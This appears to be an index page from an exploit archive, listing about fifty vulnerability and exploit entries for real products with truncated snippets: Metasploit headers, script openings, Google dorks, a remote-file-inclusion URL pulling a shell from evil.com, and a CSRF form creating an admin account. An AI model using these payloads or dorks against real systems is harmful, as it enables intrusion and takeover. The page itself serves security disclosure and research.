ExtraPuTTY 0.29-RC2 - Denial of Service

ExtraPuTTY 0.29-RC2 - Denial of Service + Credits: John Page AKA hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/EXTRAPUTTY-TFTP-DENIAL-OF-SERVICE.txt + ISR: ApparitionSec Vendor: ================== www.extraputty.com Product:...

WordPress Multiple Plugins - Arbitrary File Upload

WordPress Multiple Plugins - Arbitrary File Upload import requests import random import string print "---------------------------------------------------------------------" print "Multiple Wordpress Plugin - Remote File Upload Exploit\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir...

Symantec Endpoint Protection Manager 12.1 - Multiple Vulnerabilities

Symantec Endpoint Protection Manager 12.1 - Multiple Vulnerabilities + Credits: John Page aka HYP3RLINX + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/SYMANTEC-SEPM-MULTIPLE-VULNS.txt + ISR: ApparitionSec Vendor: ================ www.symantec.com Product:...

Microsoft Windows - NtUserGetClipboardAccessToken Token Leak (MS15-023)

Microsoft Windows - NtUserGetClipboardAccessToken Token Leak MS15-023 Source: https://code.google.com/p/google-security-research/issues/detail?id=461 Windows: NtUserGetClipboardAccessToken Token Leak Redux Platform: Windows 8.1 Update, Windows 10 Build 10130 Class: Security Bypass/EoP Summary: Th...

Hawkeye-G 3.0.1.4912 - Cross-Site Request Forgery

Hawkeye-G 3.0.1.4912 - Cross-Site Request Forgery Exploit Title: CSRF, Network Threat Appliance IDS / IPS Google Dork: intitle: CSRF Network Threat Appliance IDS / IPS Date: 2015-07-24 Exploit Author: John Page hyp3rlinx Website: hyp3rlinx.altervista.org Vendor Homepage: www.hexiscyber.com Softwa...

vBulletin 4.x - breadcrumbs via xmlrpc API (Authenticated) SQL Injection

vBulletin 4.x - breadcrumbs via xmlrpc API Authenticated SQL Injection CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API post-auth ============================================================================== Overview -------- date : 10/12/2014 cvss : 7.1...

Titan FTP Server 10.32 Build 1816 - Directory Traversal

Titan FTP Server 10.32 Build 1816 - Directory Traversal "Titan FTP Server Directory Traversal Vulnerabilities" - Affected Vendor: South River Technologies - Affected System: Titan FTP Server software Version 10.32 Build 1816 - Vendor Disclosure Date: January 27th, 2014 - Public Disclosure Date:...

Joomla! Component Komento 1.7.2 - Persistent Cross-Site Scripting

Joomla! Component Komento 1.7.2 - Persistent Cross-Site Scripting Advisory ID: HTB23194 Product: Komento Joomla Extension Vendor: Stack Ideas Sdn Bhd. Vulnerable Versions: 1.7.2 and probably prior Tested Version: 1.7.2 Advisory Publication: January 2, 2014 without technical details Vendor...

Wyse - Machine Remote Power Off (Denial of Service) (Metasploit)

Wyse - Machine Remote Power Off Denial of Service Metasploit require 'msf/core' class Metasploit3 'Wyse Machine Remote Power off DOS', 'Description' = %q This module exploits the Wyse Rapport Hagent service and cause remote power cycle Power off the wyse machine remotely. , 'Stance' =...

WebCalendar 1.2.4 - Remote Code Execution

WebCalendar 1.2.4 - Remote Code Execution ?php / ----------------------------------------------------------------------- WebCalendar = 1.2.4 install/index.php Remote Code Executionn Exploit ----------------------------------------------------------------------- author..........: Egidio Romano aka...

Paddelberg Topsite Script - Authentication Bypass

Paddelberg Topsite Script - Authentication Bypass Exploit Title: Paddelberg's topsite-script admin auth bypass. Google Dork: intext:"powered by php scripte webmaster resource" Date: 8. 1. 2012 Author: Christian Inci Software Link: http://www.paddelberg.de/gratis-toplisten-script/gratis-download/...

X.Org xorg 1.4 1.11.2 - File Permission Change

X.Org xorg 1.4 1.11.2 - File Permission Change / xchmod.c -- Xorg file permission change vulnerability PoC Author: vladz http://vladz.devzero.fr Date: 2011/12/15 Software: www.x.org Version: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and earlier if built with the USECHMOD preprocessor...

Trend Micro Internet Security Pro 2010 - ActiveX extSetOwner() Remote Code Execution (Metasploit)

Trend Micro Internet Security Pro 2010 - ActiveX extSetOwner Remote Code Execution Metasploit $Id: trendmicroextsetowner.rb 10538 2010-10-04 04:26:09Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit...

Oracle RDBms 10.2.0.311.1.0.6 - TNS Listener (PoC)

Oracle RDBms 10.2.0.311.1.0.6 - TNS Listener PoC TNS Listener Oracle RDBMS exploit, cause trap in Listener process more precisely: in function memcpy called from ncrfintn function which is located in oranro11.dll Successfully working with Oracle RDBMS Win32 11.1.0.6.0 and Oracle RDBMS Win32...

Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC)

Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow PoC !/usr/bin/perl Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow CVE-2008-4255 PoC You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx /...

Apache Tomcat 6.0.18 - utf8 Directory Traversal (PoC)

Apache Tomcat 6.0.18 - utf8 Directory Traversal PoC Title: Apache Tomcat Directory Traversal Vulnerability Author: Simon Ryeobar4mi at gmail.com, barami at ahnlab.com Severity: High Impact: Remote File Disclosure Vulnerable Version: prior to 6.0.18 Solution: - Best Choice: Upgrade to 6.0.18...

ZYXEL ZyWALL QuaggaZebra - Default Password Remote Code Execution

ZYXEL ZyWALL QuaggaZebra - Default Password Remote Code Execution Name: ZyXEL ZyWALL Quagga/Zebra Remote Root Vulnerability Release Date: 10 March 2008 Discover: Pranav Joshi Vendor: ZyXEL Products Affected: ZyWALL Status on other affected products & firmwares pending from vendor’s end...

D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit)

D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow Metasploit $Id: dlinkwifirates.rb 9670 2010-07-03 03:19:07Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more...

FlashChat 4.5.7 - aedating4CMS.php Remote File Inclusion

FlashChat 4.5.7 - aedating4CMS.php Remote File Inclusion NeXtMaN Here are 3 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt?...

DUportal Pro 3.4 - cat.asp Multiple SQL Injections

DUportal Pro 3.4 - cat.asp Multiple SQL Injections source: https://www.securityfocus.com/bid/13285/info DUportal Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. A successful exploit could...

Multiple Vendor ICMP Implementation - Spoofed Source Quench Packet Denial of Service

Multiple Vendor ICMP Implementation - Spoofed Source Quench Packet Denial of Service source: https://www.securityfocus.com/bid/13124/info Multiple vendor implementations of TCP/IP Internet Control Message Protocol ICMP are reported prone to several denial-of-service attacks. ICMP is employed by...

Cacti 1.2.8 - Unauthenticated Remote Code Execution

Cacti 1.2.8 - Unauthenticated Remote Code Execution !/usr/bin/python3 Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution Date: 03/02/2020 Exploit Author: Askar @mohammadaskar2 CVE: CVE-2020-8813 Vendor Homepage: https://cacti.net/ Version: v1.2.8 Tested on: CentOS 7.3 / PHP 7.1.33...

eMerge E3 1.00-06 - Remote Code Execution

eMerge E3 1.00-06 - Remote Code Execution Exploit Title: eMerge E3 1.00-06 - Remote Code Execution Google Dork: NA Date: 2018-09-11 Exploit Author: LiquidWorm Vendor Homepage: http://linear-solutions.com/nscfamily/e3-series/ Software Link: http://linear-solutions.com/nscfamily/e3-series/ Version:...

eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit)

eMerge E3 Access Controller 4.6.07 - Remote Code Execution Metasploit Exploit Title: eMerge E3 Access Controller 4.6.07 - Remote Code Execution Metasploit Google Dork: NA Date: 2018-11-11 Exploit Author: LiquidWorm Vendor Homepage: http://linear-solutions.com/nscfamily/e3-series/ Software Link:...

File Sharing Wizard 1.5.0 - POST SEH Overflow

File Sharing Wizard 1.5.0 - POST SEH Overflow import socket from struct import Exploit Title: File sharing wizard 'post' remote SEH overflow Date: 9/23/2019 Exploit Author: x00pwn Software Link: https://file-sharing-wizard.soft112.com/ Version: 1.5.0 Tested on: Windows 7 CVE : CVE-2019-16724...

Open-School 3.0 Community Edition 2.3 - Cross-Site Scripting

Open-School 3.0 Community Edition 2.3 - Cross-Site Scripting Exploit Title: title Date: 2019 08 06 Exploit Author: Greg.Priest Vendor Homepage: https://open-school.org/ Software Link: Version: Open-School 3.0/Community Edition 2.3 Tested on: Windows/Linux CVE : CVE-2019-14696 Open-School 3.0, and...

SilverSHielD 6.x - Local Privilege Escalation

SilverSHielD 6.x - Local Privilege Escalation This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework Exploit Title: extenua SilverSHielD 6.x local priviledge escalation Google Dork: na Date: 31 Jul 2019 Exploit Author: Ian...

Interspire Email Marketer 6.20 - surveys_submit.php Remote Code Execution

Interspire Email Marketer 6.20 - surveyssubmit.php Remote Code Execution Exploit Title: Interspire Email Marketer 6.20 - Remote Code Execution Date: May 2019 Exploit Author: Numan Türle Vendor Homepage: https://www.interspire.com Software Link: https://www.interspire.com/emailmarketer Version: 6....

microASP (Portal+) CMS - pagina.phtml?explode_tree SQL Injection

microASP Portal+ CMS - pagina.phtml?explodetree SQL Injection + Sql Injection on microASP Portal+ CMS + Date: 05/05/2019 + Risk: High + CWE Number : CWE-89 + Author: Felipe Andrian Peixoto + Vendor Homepage: http://www.microasp.it/ + Contact: [email protected] + Tested on: Windows 7 and...

OpenMRS Platform 2.24.0 - Insecure Object Deserialization

OpenMRS Platform 2.24.0 - Insecure Object Deserialization Insecure Object Deserialization on the OpenMRS Platform Vulnerability Details CVE ID: CVE-2018-19276 Access Vector: Remote Security Risk: Critical Vulnerability: CWE-502 CVSS Base Score: 10.0 CVSS vector:...

xorg-x11-server 1.20.3 - modulepath Local Privilege Escalation

xorg-x11-server 1.20.3 - modulepath Local Privilege Escalation !/bin/sh raptorxorgy - xorg-x11-server LPE via modulepath switch Copyright c 2018 Marco Ivaldi A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X...

AjentiCP 1.2.23.13 - Cross-Site Scripting

AjentiCP 1.2.23.13 - Cross-Site Scripting Title: AjentiCP 1.2.23.13 - Cross-Site Scripting Author: Numan OZDEMIR https://infinitumit.com.tr Vendor Homepage: ajenti.org Software Link: https://github.com/ajenti/ajenti Version: Up to v1.2.23.13 CVE: CVE-2018-18548 Description: Attacker can inject...

SearchBlox 8.6.6 - Cross-Site Request Forgery

SearchBlox 8.6.6 - Cross-Site Request Forgery Exploit Title: CSRF Privilege Escalation Creation of an administrator account on SearchBlox 8.6.6 Exploit Author: Canberk BOLAT, Ahmet GÜREL Software Link: https://www.searchblox.com/ Version: = SearchBlox Version 8.6.6 Platform: Java Tested on: Windo...

Ericsson-LG iPECS NMS A.1Ac - Cleartext Credential Disclosure

Ericsson-LG iPECS NMS A.1Ac - Cleartext Credential Disclosure -- coding: utf-8 -- Exploit Title: Ericsson-LG iPECS NMS - Cleartext Cred. Dump Vendor Notification: 03-03-2018 - No response Initial CVE: 04-04-2018 Disclosure: 21-04-2018 Exploit Author: Berk Cem Göksel Contact: twitter.com/berkcgoks...

ActivePDF Toolkit 8.1.0.19023 - Multiple Memory Corruptions

ActivePDF Toolkit 8.1.0.19023 - Multiple Memory Corruptions ActivePDF Toolkit 8.1.0 multiple RCE Introduction ============ The ActivePDF Toolkit is a Windows library which enhances business processes to stamp, stitch, merge, form-fill, add digital signatures, barcodes to PDF. Both .NET and native...

Armadito Antivirus 0.12.7.2 - Detection Bypass

Armadito Antivirus 0.12.7.2 - Detection Bypass / Title: Armadito Antivirus - Malware Detection Bypass Date: 21/02/2018 Author: Souhail Hammou Author's website: http://rce4fun.blogspot.com Vendor Homepage: http://www.teclib-edition.com/en/ Version: 0.12.7.2 CVE: CVE-2018-7289 Details: -------- An...

Joomla! Component NeoRecruit 4.1 - SQL Injection

Joomla! Component NeoRecruit 4.1 - SQL Injection Exploit Title: Joomla! Component NeoRecruit 4.1 - SQL Injection Dork: N/A Date: 16.02.2018 Vendor Homepage: http://neojoomla.com/ Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/jobs-a-recruitment/neorecruit/...

Joomla! Component MediaLibrary Free 4.0.12 - SQL Injection

Joomla! Component MediaLibrary Free 4.0.12 - SQL Injection Exploit Title: Joomla! Component MediaLibrary Free 4.0.12 - SQL Injection Dork: N/A Date: 16.02.2018 Vendor Homepage: http://ordasoft.com/ Software Link:...

Ichano AtHome IP Cameras - Multiple Vulnerabilities

Ichano AtHome IP Cameras - Multiple Vulnerabilities Vulnerabilities Summary The following advisory describes three 3 vulnerabilities found in Ichano IP Cameras. AtHome Camera is “a remote video surveillance app which turns your personal computer, smart TV/set-top box, smart phone, and tablet into...

GoAhead Web Server 2.5 3.6.5 - HTTPd LD_PRELOAD Remote Code Execution

GoAhead Web Server 2.5 3.6.5 - HTTPd LDPRELOAD Remote Code Execution !/usr/bin/python GoAhead httpd/2.5 to 3.6.5 LDPRELOAD remote code execution exploit EDB Note: Payloads https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/43360.zip EDB Note: Source...

Trend Micro OfficeScan 11.0XG (12.0) - Host Header Injection

Trend Micro OfficeScan 11.0XG 12.0 - Host Header Injection + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14087-TRENDMICRO-OFFICESCAN-XG-HOST-HEADER-INJECTION.txt + ISR: ApparitionSec Vendor: ==================...

ManageEngine Desktop Central 10 Build 100087 - Remote Code Execution (Metasploit)

ManageEngine Desktop Central 10 Build 100087 - Remote Code Execution Metasploit Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE Date: 24-07-2017 Software Link: https://www.manageengine.com/products/desktop-central/ Exploit Author: Kacper Szurek Contact:...

KBVault MySQL 0.16a - Arbitrary File Upload

KBVault MySQL 0.16a - Arbitrary File Upload Exploit Title: KBVault MySQL v0.16a - Unauthenticated File Upload to Run Code Google Dork: inurl:"FileExplorer/Explorer.aspx" Date: 2017-06-14 Exploit Author: Fatih Emiral Vendor Homepage: http://kbvaultmysql.codeplex.com/ Software Link:...

Sophos Cyberoam - Cross-site scripting

Sophos Cyberoam - Cross-site scripting Exploit Title: Sophos Cyberoam – Cross-site scripting XSS vulnerability Date: 25/05/2017 Exploit Author: Bhadresh Patel Version: = Firmware Version 10.6.4 CVE : CVE-2016-9834 This is an article with video tutorial for Sophos Cyberoam – Cross-site scripting X...

Azure Data Expert Ultimate 2.2.16 - Remote Buffer Overflow

Azure Data Expert Ultimate 2.2.16 - Remote Buffer Overflow Exploit Title: Azure Data Expert Ultimate 2.2.16 – buffer overflow Date: 2017-03-07 Exploit Author: Peter Baris Vendor Homepage: http://www.saptech-erp.com.au Software Link: http://www.azuredex.com/downloads.html Version: 2.2.16 Tested on...

HP Data Protector A.09.00 - Encrypted Communications Arbitrary Command Execution (Metasploit)

HP Data Protector A.09.00 - Encrypted Communications Arbitrary Command Execution Metasploit Exploit Title: Data Protector Encrypted Communications Date: 26-05-2016 Exploit Author: Ian Lovering Vendor Homepage: http://www8.hp.com/uk/en/software-solutions/data-protector-backup-recovery-software/...

CMS Made Simple 1.12.1 2.1.3 - Web Server Cache Poisoning

CMS Made Simple 1.12.1 2.1.3 - Web Server Cache Poisoning ============================================= Web Server Cache Poisoning in CMS Made Simple ============================================= CVE-2016-2784 Product Description =================== CMS Made Simple is a great tool with many plugi...

WhatsUp Gold 16.3 - Remote Code Execution

WhatsUp Gold 16.3 - Remote Code Execution Exploit Title: WhatsUp Gold v16.3 Unauthenticated Remote Code Execution Date: 2016-01-13 Exploit Author: Matt Buzanowski Vendor Homepage: http://www.ipswitch.com/ Version: 16.3.x Tested on: Windows 7 x86 CVE : CVE-2015-8261 Usage: python...

X2Engine 4.2 - Arbitrary File Upload

X2Engine 4.2 - Arbitrary File Upload Source: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-5074/ Details: It was discovered that authenticated users were able to upload files of any type providing that the file did not have an extension that was...

Pligg CMS 2.0.2 - Cross-Site Request Forgery (Add Admin)

Pligg CMS 2.0.2 - Cross-Site Request Forgery Add Admin Admin input name="password" type="text" class="form-control" id="password" value="hacker123" onchange="checkPasswordthis.va...